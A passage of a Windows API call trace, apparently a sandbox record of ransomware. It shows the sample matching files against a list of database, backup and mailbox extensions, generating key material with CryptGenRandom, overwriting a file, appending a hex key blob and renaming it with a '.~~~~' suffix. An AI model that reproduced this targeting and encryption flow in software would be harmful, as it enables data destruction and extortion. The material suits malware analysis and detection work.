	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".DB") returned 0x0
	[0083.647] lstrlenW (lpString=".sql") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".sql") returned 0x0
	[0083.647] lstrlenW (lpString=".MYD") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".MYD") returned 0x0
	[0083.647] lstrlenW (lpString=".DBT") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".DBT") returned 0x0
	[0083.647] lstrlenW (lpString=".ACCDB") returned 6
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".ACCDB") returned 0x0
	[0083.647] lstrlenW (lpString=".fdb") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".fdb") returned 0x0
	[0083.647] lstrlenW (lpString=".bak") returned 4
	[0083.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".bak") returned 0x0
	[0083.647] lstrlenW (lpString=".myd") returned 4
	[0083.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".myd") returned 0x0
	[0083.648] lstrlenW (lpString=".DTXS") returned 5
	[0083.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".DTXS") returned 0x0
	[0083.648] lstrlenW (lpString=".ckp") returned 4
	[0083.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".ckp") returned 0x0
	[0083.648] lstrlenW (lpString=".dbt") returned 4
	[0083.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".dbt") returned 0x0
	[0083.648] lstrlenW (lpString=".db") returned 3
	[0083.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".db") returned 0x0
	[0083.648] lstrlenW (lpString=".TXT") returned 4
	[0083.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".TXT") returned 0x0
	[0083.648] lstrlenW (lpString=".MDF") returned 4
	[0083.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".MDF") returned 0x0
	[0083.648] lstrlenW (lpString=".bdb") returned 4
	[0083.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".bdb") returned 0x0
	[0083.648] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0083.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.648] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0083.649] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.649] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0083.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.649] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20363928032) returned 1
	[0083.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9bb0e6f0, dwHighDateTime=0x1d60e1e)) 
	[0083.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0083.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0083.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0083.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acba0
	[0083.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acba0 | out: hHeap=0x300000) returned 1
	[0083.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aad90
	[0083.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aad90 | out: hHeap=0x300000) returned 1
	[0083.650] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0083.650] GetLastError () returned 0x0
	[0083.650] GetLastError () returned 0x0
	[0083.650] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0083.650] GetLastError () returned 0x0
	[0083.650] GetLastError () returned 0x0
	[0083.653] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffddb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.653] WriteFile (in: hFile=0x11c, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x225, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x225, lpOverlapped=0x0) returned 1
	[0083.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0083.653] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.653] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.653] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.653] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.653] CloseHandle (hObject=0x11c) returned 1
	[0083.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0083.654] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.~~~~")) returned 1
	[0083.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0083.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0083.654] GetLastError () returned 0x0
	[0083.655] RtlWakeConditionVariable () returned 0x365f70
	[0083.655] GetCurrentThreadId () returned 0x3a4
	[0083.655] GetCurrentThreadId () returned 0x3a4
	[0083.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aad90
	[0083.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab420 | out: hHeap=0x300000) returned 1
	[0083.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acb68 | out: hHeap=0x300000) returned 1
	[0083.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab420
	[0083.655] lstrlenW (lpString=".scr") returned 4
	[0083.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".scr") returned 0x0
	[0083.655] lstrlenW (lpString=".cmd") returned 4
	[0083.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".cmd") returned 0x0
	[0083.655] lstrlenW (lpString=".dll") returned 4
	[0083.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".dll") returned 0x0
	[0083.655] lstrlenW (lpString=".bat") returned 4
	[0083.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".bat") returned 0x0
	[0083.655] lstrlenW (lpString=".cpl") returned 4
	[0083.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".cpl") returned 0x0
	[0083.655] lstrlenW (lpString=".sys") returned 4
	[0083.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".sys") returned 0x0
	[0083.655] lstrlenW (lpString=".msc") returned 4
	[0083.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".msc") returned 0x0
	[0083.655] lstrlenW (lpString=".com") returned 4
	[0083.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".com") returned 0x0
	[0083.656] lstrlenW (lpString=".lnk") returned 4
	[0083.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".lnk") returned 0x0
	[0083.656] lstrlenW (lpString=".msp") returned 4
	[0083.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".msp") returned 0x0
	[0083.656] lstrlenW (lpString=".pif") returned 4
	[0083.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".pif") returned 0x0
	[0083.656] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.686] lstrlenW (lpString=".sqb") returned 4
	[0083.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".sqb") returned 0x0
	[0083.686] lstrlenW (lpString=".ost") returned 4
	[0083.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".ost") returned 0x0
	[0083.687] lstrlenW (lpString=".txt") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".txt") returned 0x0
	[0083.687] lstrlenW (lpString=".mdt") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".mdt") returned 0x0
	[0083.687] lstrlenW (lpString=".BDB") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".BDB") returned 0x0
	[0083.687] lstrlenW (lpString=".eql") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".eql") returned 0x0
	[0083.687] lstrlenW (lpString=".DBF") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".DBF") returned 0x0
	[0083.687] lstrlenW (lpString=".EQL") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".EQL") returned 0x0
	[0083.687] lstrlenW (lpString=".FDB") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".FDB") returned 0x0
	[0083.687] lstrlenW (lpString=".EDB") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".EDB") returned 0x0
	[0083.687] lstrlenW (lpString=".DACPAC") returned 7
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".DACPAC") returned 0x0
	[0083.687] lstrlenW (lpString=".VHD") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".VHD") returned 0x0
	[0083.687] lstrlenW (lpString=".DBV") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".DBV") returned 0x0
	[0083.687] lstrlenW (lpString=".dacpac") returned 7
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".dacpac") returned 0x0
	[0083.687] lstrlenW (lpString=".sdf") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".sdf") returned 0x0
	[0083.687] lstrlenW (lpString=".accdb") returned 6
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".accdb") returned 0x0
	[0083.687] lstrlenW (lpString=".DBX") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".DBX") returned 0x0
	[0083.687] lstrlenW (lpString=".MDT") returned 4
	[0083.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".MDT") returned 0x0
	[0083.688] lstrlenW (lpString=".SQB") returned 4
	[0083.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".SQB") returned 0x0
	[0083.688] lstrlenW (lpString=".vhd") returned 4
	[0083.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".vhd") returned 0x0
	[0083.688] lstrlenW (lpString=".bac") returned 4
	[0083.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".bac") returned 0x0
	[0083.688] lstrlenW (lpString=".mdf") returned 4
	[0083.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".mdf") returned 0x0
	[0083.688] lstrlenW (lpString=".BAK") returned 4
	[0083.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".BAK") returned 0x0
	[0083.688] lstrlenW (lpString=".BAC") returned 4
	[0083.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".BAC") returned 0x0
	[0083.688] lstrlenW (lpString=".dbs") returned 4
	[0083.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".dbs") returned 0x0
	[0083.688] lstrlenW (lpString=".vhdx") returned 5
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".vhdx") returned 0x0
	[0083.689] lstrlenW (lpString=".NDF") returned 4
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".NDF") returned 0x0
	[0083.689] lstrlenW (lpString=".dat") returned 4
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".dat") returned 0x0
	[0083.689] lstrlenW (lpString=".DBS") returned 4
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".DBS") returned 0x0
	[0083.689] lstrlenW (lpString=".CKP") returned 4
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".CKP") returned 0x0
	[0083.689] lstrlenW (lpString=".edb") returned 4
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".edb") returned 0x0
	[0083.689] lstrlenW (lpString=".PST") returned 4
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".PST") returned 0x0
	[0083.689] lstrlenW (lpString=".dbf") returned 4
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".dbf") returned 0x0
	[0083.689] lstrlenW (lpString=".SQL") returned 4
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".SQL") returned 0x0
	[0083.689] lstrlenW (lpString=".pst") returned 4
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".pst") returned 0x0
	[0083.689] lstrlenW (lpString=".dbv") returned 4
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".dbv") returned 0x0
	[0083.689] lstrlenW (lpString=".SDF") returned 4
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".SDF") returned 0x0
	[0083.689] lstrlenW (lpString=".dtxs") returned 5
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".dtxs") returned 0x0
	[0083.689] lstrlenW (lpString=".db3") returned 4
	[0083.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".db3") returned 0x0
	[0083.690] lstrlenW (lpString=".OST") returned 4
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".OST") returned 0x0
	[0083.690] lstrlenW (lpString=".dbx") returned 4
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".dbx") returned 0x0
	[0083.690] lstrlenW (lpString=".DB3") returned 4
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".DB3") returned 0x0
	[0083.690] lstrlenW (lpString=".DAT") returned 4
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".DAT") returned 0x0
	[0083.690] lstrlenW (lpString=".VHDX") returned 5
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".VHDX") returned 0x0
	[0083.690] lstrlenW (lpString=".ndf") returned 4
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".ndf") returned 0x0
	[0083.690] lstrlenW (lpString=".DB") returned 3
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".DB") returned 0x0
	[0083.690] lstrlenW (lpString=".sql") returned 4
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".sql") returned 0x0
	[0083.690] lstrlenW (lpString=".MYD") returned 4
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".MYD") returned 0x0
	[0083.690] lstrlenW (lpString=".DBT") returned 4
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".DBT") returned 0x0
	[0083.690] lstrlenW (lpString=".ACCDB") returned 6
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".ACCDB") returned 0x0
	[0083.690] lstrlenW (lpString=".fdb") returned 4
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".fdb") returned 0x0
	[0083.690] lstrlenW (lpString=".bak") returned 4
	[0083.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".bak") returned 0x0
	[0083.691] lstrlenW (lpString=".myd") returned 4
	[0083.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".myd") returned 0x0
	[0083.691] lstrlenW (lpString=".DTXS") returned 5
	[0083.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".DTXS") returned 0x0
	[0083.691] lstrlenW (lpString=".ckp") returned 4
	[0083.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".ckp") returned 0x0
	[0083.691] lstrlenW (lpString=".dbt") returned 4
	[0083.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".dbt") returned 0x0
	[0083.691] lstrlenW (lpString=".db") returned 3
	[0083.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".db") returned 0x0
	[0083.691] lstrlenW (lpString=".TXT") returned 4
	[0083.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".TXT") returned 0x0
	[0083.691] lstrlenW (lpString=".MDF") returned 4
	[0083.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".MDF") returned 0x0
	[0083.691] lstrlenW (lpString=".bdb") returned 4
	[0083.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".bdb") returned 0x0
	[0083.691] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.691] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0083.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
